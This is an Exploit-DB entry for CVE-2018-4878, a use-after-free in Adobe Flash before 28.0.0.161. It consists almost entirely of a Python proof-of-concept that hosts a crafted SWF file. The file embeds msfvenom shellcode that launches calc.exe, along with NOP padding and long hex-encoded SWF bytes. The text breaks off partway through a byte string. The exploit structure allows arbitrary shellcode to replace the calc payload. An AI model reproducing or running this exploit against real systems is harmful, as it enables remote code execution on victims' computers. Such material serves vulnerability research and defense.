Exploit-DB #44412
Description: Adobe Flash < 28.0.0.161 - Use-After-Free
Type: remote
Platform: multiple
Date: 2018-04-06
Author: SyFi

Exploit:
#!/usr/bin/env python
# coding: UTF-8
import BaseHTTPServer
import sys
from SimpleHTTPServer import SimpleHTTPRequestHandler

print "@Syfi2k"
print "[+] CVE-2018-4878 poc "
print "--------------------------------"
print "Calc.exe Shellcode via Msfvenom"
print "Based on fixed version https://github.com/anbai-inc/CVE-2018-4878"
print "No Crash without executing the Shellcode, Sandbox? try it yourself"


buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
buf += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
buf += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
buf += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
buf += "\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
 
payload = buf
data = ""
flash_name = "movie"
 


data = "\x46\x57\x53\x20\xE3\x45\x00\x00\x78\x00\x04\xE2\x00\x00\x0E\xA6\x00\x00\x18\x01\x00\x44\x11\x19\x00\x00\x00\x7F\x13\x1F\x02\x00\x00\x3C\x72\x64\x66\x3A\x52\x44\x46\x20\x78\x6D\x6C\x6E\x73\x3A\x72\x64\x66\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x77\x33\x2E\x6F\x72\x67\x2F\x31\x39\x39\x39\x2F\x30\x32\x2F\x32\x32\x2D\x72\x64\x66\x2D\x73\x79\x6E\x74\x61\x78\x2D\x6E\x73\x23\x22\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x72\x64\x66\x3A\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6F\x6E\x20\x78\x6D\x6C\x6E\x73\x3A\x64\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x70\x75\x72\x6C\x2E\x6F\x72\x67\x2F\x64\x63\x2F\x65\x6C\x65\x6D\x65\x6E\x74\x73\x2F\x31\x2E\x31\x22\x20\x72\x64\x66\x3A\x61\x62\x6F\x75\x74\x3D\x22\x22\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x64\x63\x3A\x66\x6F\x72\x6D\x61\x74\x3E\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x73\x68\x6F\x63\x6B\x77\x61\x76\x65\x2D\x66\x6C\x61\x73\x68\x3C\x2F\x64\x63\x3A\x66\x6F\x72\x6D\x61\x74\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x64\x63\x3A\x74\x69\x74\x6C\x65\x3E\x41\x64\x6F\x62\x65\x20\x46\x6C\x65\x78\x20\x34\x20\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x3C\x2F\x64\x63\x3A\x74\x69\x74\x6C\x65\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x64\x63\x3A\x64\x65\x73\x63\x72\x69\x70\x74\x69\x6F\x6E\x3E\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x61\x64\x6F\x62\x65\x2E\x63\x6F\x6D\x2F\x70\x72\x6F\x64\x75\x63\x74\x73\x2F\x66\x6C\x65\x78\x3C\x2F\x64\x63\x3A\x64\x65\x73\x63\x72\x69\x70\x74\x69\x6F\x6E\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x64\x63\x3A\x70\x75\x62\x6C\x69\x73\x68\x65\x72\x3E\x75\x6E\x6B\x6E\x6F\x77\x6E\x3C\x2F\x64\x63\x3A\x70\x75\x62\x6C\x69\x73\x68\x65\x72\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x64\x63\x3A\x63\x72\x65\x61\x74\x6F\x72\x3E\x75\x6E\x6B\x6E\x6F\x77\x6E\x3C\x2F\x64\x63\x3A\x63\x72\x65\x61\x74\x6F\x72\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x64\x63\x3A\x6C\x61\x6E\x67\x75\x61\x67\x65\x3E\x45\x4E\x3C\x2F\x64\x63\x3A\x6C\x61\x6E\x67\x75\x61\x67\x65\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x64\x63\x3A\x64\x61\x74\x65\x3E\x46\x65\x62\x20\x36\x2C\x20\x32\x30\x31\x38\x3C\x2F\x64\x63\x3A\x64\x61\x74\x65\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x2F\x72\x64\x66\x3A\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6F\x6E\x3E\x20\x3C\x2F\x72\x64\x66\x3A\x52\x44\x46\x3E\x0D\x0A\x00\xD0\x0F\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x10\xE8\x03\x3C\x00\x43\x02\xFF\xFF\xFF\xC8\x0A\x66\x6C\x61\x73\x68\x30\x32\x00\xFF\x15\x82\x0B\x00\x00\x02\x00\x00\x00\x00\x00"
 

filler = 2940 - len(payload)
 
data = data + payload + "\x90" * filler


data = data + "\x13\x0E\x01\x00\x02\x00\x73\x68\x65\x6C\x6C\x63\x6F\x64\x42\x79\x74\x65\x73\x00\x00\xBF\x14\xB6\x06\x00\x00\x01\x00\x00\x00\x4D\x61\x69\x6E\x45\x78\x70\x00\x10\x00\x2E\x00\x02\x00\x28\x8E\xCD\xBD\x06\xAD\xCA\x75\x8F\xCD\xBD\x06\xAE\xE4\xE0\x03\x8E\xCD\xBD\x06\xFC\xE2\x75\x8E\xCD\xBD\x06\xFE\xF0\x75\x8E\xCD\xBD\x06\xF8\xF8\x75\x8F\xCD\xBD\x06\xF9\xFE\xA1\x03\x8E\xCD\xBD\x06\xF8\xDE\x75\x89\xCD\xBD\x06\xDC\xB6\xCD\x02\xD6\xF6\x68\x8F\xCD\xBD\x06\xFA\xE6\xCD\x03\x8F\xCD\xBD\x06\xF5\xDC\xA1\x03\x8E\xCD\xBD\x06\xF1\xDC\x74\x8F\xCD\xBD\x06\xD1\xBA\xFD\x02\x8F\xCD\xBD\x06\xEC\xDC\xCD\x03\x8E\xCD\xBD\x06\xEF\xE4\x75\x8E\xCD\xBD\x06\xEE\xF8\x75\x8E\xCD\xBD\x06\xE9\xF0\x75\x89\xCD\xBD\x06\xEE\xE6\xDD\x03\xFF\xD0\x69\x8F\xCD\xBD\x06\xCB\xAA\xC9\x02\x93\xCD\xBD\x06\x00\x55\x07\x4D\x61\x69\x6E\x45\x78\x70\x05\x76\x61\x72\x5F\x31\x00\x0E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x76\x61\x72\x5F\x32\x0E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x06\x64\x61\x74\x61\x31\x34\x06\x64\x61\x74\x61\x31\x35\x3C\x43\x3A\x5C\x55\x73\x65\x72\x73\x5C\x4D\x69\x68\x61\x5C\x41\x64\x6F\x62\x65\x4D\x69\x6E\x65\x50\x6F\x43\x5F\x74\x72\x79\x69\x6E\x67\x54\x6F\x45\x76\x61\x64\x65\x53\x65\x63\x53\x6F\x6C\x75\x74\x69\x6F\x6E\x73\x66\x6C\x61\x30\x31\x2E\x61\x73\x05\x64\x61\x74\x61\x32\x05\x64\x61\x74\x61\x33\x09\x42\x79\x74\x65\x41\x72\x72\x61\x79\x0B\x66\x6C\x61\x73\x68\x2E\x75\x74\x69\x6C\x73\x06\x45\x6E\x64\x69\x61\x6E\x0D\x4C\x49\x54\x54\x4C\x45\x5F\x45\x4E\x44\x49\x41\x4E\x06\x65\x6E\x64\x69\x61\x6E\x0C\x43\x61\x70\x61\x62\x69\x6C\x69\x74\x69\x65\x73\x0C\x66\x6C\x61\x73\x68\x2E\x73\x79\x73\x74\x65\x6D\x07\x76\x65\x72\x73\x69\x6F\x6E\x01\x2C\x01\x20\x07\x72\x65\x70\x6C\x61\x63\x65\x21\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x6F\x62\x65\x2E\x63\x6F\x6D\x2F\x41\x53\x33\x2F\x32\x30\x30\x36\x2F\x62\x75\x69\x6C\x74\x69\x6E\x05\x73\x70\x6C\x69\x74\x05\x41\x72\x72\x61\x79\x0C\x4D\x61\x69\x6E\x45\x78\x70\x2E\x61\x73\x24\x30\x14\x66\x6C\x